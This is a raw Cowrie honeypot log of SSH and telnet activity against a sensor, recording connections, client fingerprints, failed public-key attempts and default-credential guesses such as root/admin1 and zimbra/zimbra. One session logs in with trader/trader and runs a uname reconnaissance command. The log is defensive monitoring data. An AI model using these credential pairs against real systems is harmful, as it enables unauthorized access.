{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7a:ec:09:b6:f0:4a:f2:f7:9d:0e:5d:a5:0d:75:93:e8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD3cypEmiSSa4p2d80+AeuPyQj8oAikGYCKZXi0NqHOehkiBe27ikpWJaammRB0fF3L15eQ+4Tz5MMH+P4ppJ1KcOhfv/T3cfrD734AJ+PKccSU1RFauDPfrnXotVfEQXBc/uMlKmLswUZeOrUj9UHfVmPTfWc1TENj2tgYeGvmEwYjWJuauSnlPkgja9lEZsXOajgKFM/VvWCKz3oxaN3Z1wXT4AX+0a00p5OLuhJCsgVtQtZQNYuvGzblM4HUj9HuOQ2IZPqVNioprd0AHZBy3K9xQEmgjpB5sc0H5S/JTSTJjVo2c7ddWUz4I7OucsHJPpqwTG/w/ykQbRaRMfh1","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7a:ec:09:b6:f0:4a:f2:f7:9d:0e:5d:a5:0d:75:93:e8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:12.482630Z","src_ip":"62.210.38.102","session":"e3e8c4215aad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7a:ec:09:b6:f0:4a:f2:f7:9d:0e:5d:a5:0d:75:93:e8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD3cypEmiSSa4p2d80+AeuPyQj8oAikGYCKZXi0NqHOehkiBe27ikpWJaammRB0fF3L15eQ+4Tz5MMH+P4ppJ1KcOhfv/T3cfrD734AJ+PKccSU1RFauDPfrnXotVfEQXBc/uMlKmLswUZeOrUj9UHfVmPTfWc1TENj2tgYeGvmEwYjWJuauSnlPkgja9lEZsXOajgKFM/VvWCKz3oxaN3Z1wXT4AX+0a00p5OLuhJCsgVtQtZQNYuvGzblM4HUj9HuOQ2IZPqVNioprd0AHZBy3K9xQEmgjpB5sc0H5S/JTSTJjVo2c7ddWUz4I7OucsHJPpqwTG/w/ykQbRaRMfh1","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:12.486626Z","src_ip":"62.210.38.102","session":"e3e8c4215aad","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6f:48:f3:66:d4:79:32:bc:9d:64:18:2b:7b:a7:32:e7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC17Eb141jVqnSeFyS3whvb9CWgQ7ok5+J5AN1PbS3ZLtDyAZ5objBvlmEZyidjba7uGCBE3lTQtO8MBm18LnuckEwh5s9xak9j6jnjIkH92WEEXgUaSwEEaGW1Ir/9BMI1q/0OZLsL9lhg7eX5g4ntWfAlKxqREv6xnoY8s6DaDP0mrgeQ1lDm2O1tFz2+JH+MovssPG8C86/RbPinZ8nQJm3K2jzDx/u5SQEhzWDl5gQzDT9n4BFJRnHAGCQjY99C00/EuyqFu5alWtO3uZ+bDzo8ivkDwuVnMNsFb6LAXP+6VrPGfJR6J9vV0iMf2dw9RJAIKuTskdYr8KCm+R7z","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6f:48:f3:66:d4:79:32:bc:9d:64:18:2b:7b:a7:32:e7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:12.569422Z","src_ip":"62.210.38.102","session":"e3e8c4215aad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6f:48:f3:66:d4:79:32:bc:9d:64:18:2b:7b:a7:32:e7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC17Eb141jVqnSeFyS3whvb9CWgQ7ok5+J5AN1PbS3ZLtDyAZ5objBvlmEZyidjba7uGCBE3lTQtO8MBm18LnuckEwh5s9xak9j6jnjIkH92WEEXgUaSwEEaGW1Ir/9BMI1q/0OZLsL9lhg7eX5g4ntWfAlKxqREv6xnoY8s6DaDP0mrgeQ1lDm2O1tFz2+JH+MovssPG8C86/RbPinZ8nQJm3K2jzDx/u5SQEhzWDl5gQzDT9n4BFJRnHAGCQjY99C00/EuyqFu5alWtO3uZ+bDzo8ivkDwuVnMNsFb6LAXP+6VrPGfJR6J9vV0iMf2dw9RJAIKuTskdYr8KCm+R7z","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:12.574042Z","src_ip":"62.210.38.102","session":"e3e8c4215aad","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f3:16:a5:9e:2a:72:b2:c9:8b:ab:3b:bb:84:08:0b:1f","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMsMH+YkAorUCjd4sOnZhg0ym4txszs8Dh6/1ZT9xFjk","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint f3:16:a5:9e:2a:72:b2:c9:8b:ab:3b:bb:84:08:0b:1f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:12.659852Z","src_ip":"62.210.38.102","session":"e3e8c4215aad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f3:16:a5:9e:2a:72:b2:c9:8b:ab:3b:bb:84:08:0b:1f","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMsMH+YkAorUCjd4sOnZhg0ym4txszs8Dh6/1ZT9xFjk","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:12.663858Z","src_ip":"62.210.38.102","session":"e3e8c4215aad","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d6:24:e8:78:97:9f:93:5f:15:d2:b7:62:36:5b:78:5d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAu5JEv59aJvh2QuFAGJ2/gc3cy9Dy2VjPKbW6W1FSQv7d6DPJ5QFNQ5jXCBP/+1QM6GP6G/vrPv9mWNnHpAw6kO9tTP7Xjh0M46PMEZkaGiieUgfit4QjBOnYQl21XOr8/TUt0XgpMJrqV3hO3gRsSV5xoUM7r9h6Vei/xFtD6nRnG6rWIFJLYIH8RxVXdAC+bAtEjcFgRyIVsDF+1JegeoOc7OlIf0DI4vfNWcmYs9X4gVcrYnWqF5dzL1FBzXWuz+XawKyleoYKbpVs+cvPmc/IeX4HL2fxxhMXyZOfOIvrn8Alfucuo63a/TNMFd9dxEItE1mVYy5xYmXoZMcaTQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d6:24:e8:78:97:9f:93:5f:15:d2:b7:62:36:5b:78:5d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:12.746725Z","src_ip":"62.210.38.102","session":"e3e8c4215aad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d6:24:e8:78:97:9f:93:5f:15:d2:b7:62:36:5b:78:5d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAu5JEv59aJvh2QuFAGJ2/gc3cy9Dy2VjPKbW6W1FSQv7d6DPJ5QFNQ5jXCBP/+1QM6GP6G/vrPv9mWNnHpAw6kO9tTP7Xjh0M46PMEZkaGiieUgfit4QjBOnYQl21XOr8/TUt0XgpMJrqV3hO3gRsSV5xoUM7r9h6Vei/xFtD6nRnG6rWIFJLYIH8RxVXdAC+bAtEjcFgRyIVsDF+1JegeoOc7OlIf0DI4vfNWcmYs9X4gVcrYnWqF5dzL1FBzXWuz+XawKyleoYKbpVs+cvPmc/IeX4HL2fxxhMXyZOfOIvrn8Alfucuo63a/TNMFd9dxEItE1mVYy5xYmXoZMcaTQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:12.751092Z","src_ip":"62.210.38.102","session":"e3e8c4215aad","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"93:64:72:f7:7a:c9:76:61:96:79:04:e8:98:a4:83:99","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA4woaq+nMfzMciVGzED9E6YVmmYNWxxxw3SBGqpeZVcK/P7IvLjnqZH7bwCM3Q2kR5Jdcc8g6HtcJ3xuxTiJjlIgrBuzB61+IVOF8htma8FmreARgfVE4hGFlQHAd2OH12GGYyA/yVO/J2BaYLmEKVj3NfLFeFbqqm/Ua6eRQkUnxAryDuKNYeVX+Mzgb6gW7Va1fSjzs3/O6UsIZAum6ur913CEpu6/a/3HuoCGSJpWP5i4Efg05V/lFqnVkF/6AjsG9JvZvf4OgDhU0j5mPGDPf7udI6rAvqDyKhZ659thAEJFwgx4gw4HR0jC3Q7bi5EKYtha4BPVa14dTYdG2Fw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 93:64:72:f7:7a:c9:76:61:96:79:04:e8:98:a4:83:99","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:12.833927Z","src_ip":"62.210.38.102","session":"e3e8c4215aad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"93:64:72:f7:7a:c9:76:61:96:79:04:e8:98:a4:83:99","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA4woaq+nMfzMciVGzED9E6YVmmYNWxxxw3SBGqpeZVcK/P7IvLjnqZH7bwCM3Q2kR5Jdcc8g6HtcJ3xuxTiJjlIgrBuzB61+IVOF8htma8FmreARgfVE4hGFlQHAd2OH12GGYyA/yVO/J2BaYLmEKVj3NfLFeFbqqm/Ua6eRQkUnxAryDuKNYeVX+Mzgb6gW7Va1fSjzs3/O6UsIZAum6ur913CEpu6/a/3HuoCGSJpWP5i4Efg05V/lFqnVkF/6AjsG9JvZvf4OgDhU0j5mPGDPf7udI6rAvqDyKhZ659thAEJFwgx4gw4HR0jC3Q7bi5EKYtha4BPVa14dTYdG2Fw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:12.838194Z","src_ip":"62.210.38.102","session":"e3e8c4215aad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:12.920404Z","src_ip":"62.210.38.102","session":"e3e8c4215aad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":52788,"dst_ip":"10.17.0.5","dst_port":22,"session":"9eaa3c6d03dc","protocol":"ssh","message":"New connection: 45.153.34.112:52788 (10.17.0.5:22) [session: 9eaa3c6d03dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:13.123829Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:13.129069Z","src_ip":"45.153.34.112","session":"9eaa3c6d03dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44666,"dst_ip":"10.17.0.5","dst_port":23,"session":"73d86557b7c6","protocol":"telnet","message":"New connection: 192.119.13.58:44666 (10.17.0.5:23) [session: 73d86557b7c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:13.134117Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:13.214210Z","src_ip":"45.153.34.112","session":"9eaa3c6d03dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.94554543495178,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:13.224496Z","src_ip":"192.119.13.58","session":"476dcb2b8e6b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45932,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ee57447f8e9","protocol":"telnet","message":"New connection: 192.119.13.58:45932 (10.17.0.5:23) [session: 9ee57447f8e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:13.426219Z"}
{"eventid":"cowrie.login.success","username":"trader","password":"trader","message":"login attempt [trader/trader] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:13.462470Z","src_ip":"45.153.34.112","session":"9eaa3c6d03dc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:13.676682Z","src_ip":"45.153.34.112","session":"9eaa3c6d03dc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:13.680590Z","src_ip":"45.153.34.112","session":"9eaa3c6d03dc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:13.767248Z","src_ip":"45.153.34.112","session":"9eaa3c6d03dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:13.773143Z","src_ip":"45.153.34.112","session":"9eaa3c6d03dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.39321565628052,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:14.676467Z","src_ip":"192.119.13.58","session":"206c290370c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.74147272109985,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:16.588459Z","src_ip":"192.119.13.58","session":"792df50ef91c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":32852,"dst_ip":"10.17.0.5","dst_port":23,"session":"2aab7ce878a6","protocol":"telnet","message":"New connection: 192.119.13.58:32852 (10.17.0.5:23) [session: 2aab7ce878a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:16.977460Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":52796,"dst_ip":"10.17.0.5","dst_port":22,"session":"205c429b9503","protocol":"ssh","message":"New connection: 45.153.34.112:52796 (10.17.0.5:22) [session: 205c429b9503]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:17.011095Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:17.015824Z","src_ip":"45.153.34.112","session":"205c429b9503","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:17.098089Z","src_ip":"45.153.34.112","session":"205c429b9503","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zimbra","password":"zimbra","message":"login attempt [zimbra/zimbra] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:17.347228Z","src_ip":"45.153.34.112","session":"205c429b9503","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:18.435866Z","src_ip":"45.153.34.112","session":"205c429b9503","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.36.39","src_port":56578,"dst_ip":"10.17.0.5","dst_port":22,"session":"b2d0a23f2b4b","protocol":"ssh","message":"New connection: 43.130.36.39:56578 (10.17.0.5:22) [session: b2d0a23f2b4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:19.914181Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:19.919662Z","src_ip":"43.130.36.39","session":"b2d0a23f2b4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:19.989254Z","src_ip":"43.130.36.39","session":"b2d0a23f2b4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user03","password":"user03","message":"login attempt [user03/user03] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:20.298930Z","src_ip":"43.130.36.39","session":"b2d0a23f2b4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":37044,"dst_ip":"10.17.0.5","dst_port":22,"session":"9f85875e4e61","protocol":"ssh","message":"New connection: 45.153.34.112:37044 (10.17.0.5:22) [session: 9f85875e4e61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:20.518501Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:20.523625Z","src_ip":"45.153.34.112","session":"9f85875e4e61","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:20.606853Z","src_ip":"45.153.34.112","session":"9f85875e4e61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin1","message":"login attempt [root/admin1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:20.855394Z","src_ip":"45.153.34.112","session":"9f85875e4e61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:21.371139Z","src_ip":"43.130.36.39","session":"b2d0a23f2b4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:21.944750Z","src_ip":"45.153.34.112","session":"9f85875e4e61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.41005992889404,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:22.310841Z","src_ip":"192.119.13.58","session":"7c1a90da1679","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.177.3","src_port":42772,"dst_ip":"10.17.0.5","dst_port":22,"session":"9d78add752de","protocol":"ssh","message":"New connection: 170.106.177.3:42772 (10.17.0.5:22) [session: 9d78add752de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:22.526049Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:19:22.531603Z","src_ip":"170.106.177.3","session":"9d78add752de","protocol":"ssh"}
